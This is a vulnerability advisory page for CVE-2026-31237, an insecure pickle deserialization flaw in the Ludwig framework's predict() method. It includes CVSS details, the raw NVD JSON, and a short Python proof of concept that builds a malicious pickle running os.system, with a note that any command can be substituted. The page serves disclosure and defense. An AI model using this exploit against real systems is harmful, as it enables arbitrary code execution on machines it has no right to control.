Security Vulnerability Report
中文
CVE-2026-31237 CVSS 9.8 CRITICAL

CVE-2026-31237

Published: 2026-05-12 18:16:52
Last Modified: 2026-05-14 20:17:03

Description

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Ludwig framework <= 0.10.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os # Define a class that represents the malicious payload class ExploitPayload: def __reduce__(self): # This tells pickle to execute os.system when deserializing # You can change 'touch /tmp/pwned.txt' to any arbitrary command return (os.system, ('touch /tmp/pwned.txt',)) # Serialize the payload object into a pickle file malicious_data = pickle.dumps(ExploitPayload()) # Save the malicious pickle file filename = 'exploit_dataset.pkl' with open(filename, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious pickle file '{filename}' generated successfully.") print(f"[+] Upload this file to the target and trigger it via Ludwig's predict() method.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31237", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:52.087", "lastModified": "2026-05-14T20:17:03.267", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/ludwig-ai/ludwig", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31237-35d1e139318881fb95a2ee7c5d0e17d8", "source": "[email protected]"}]}}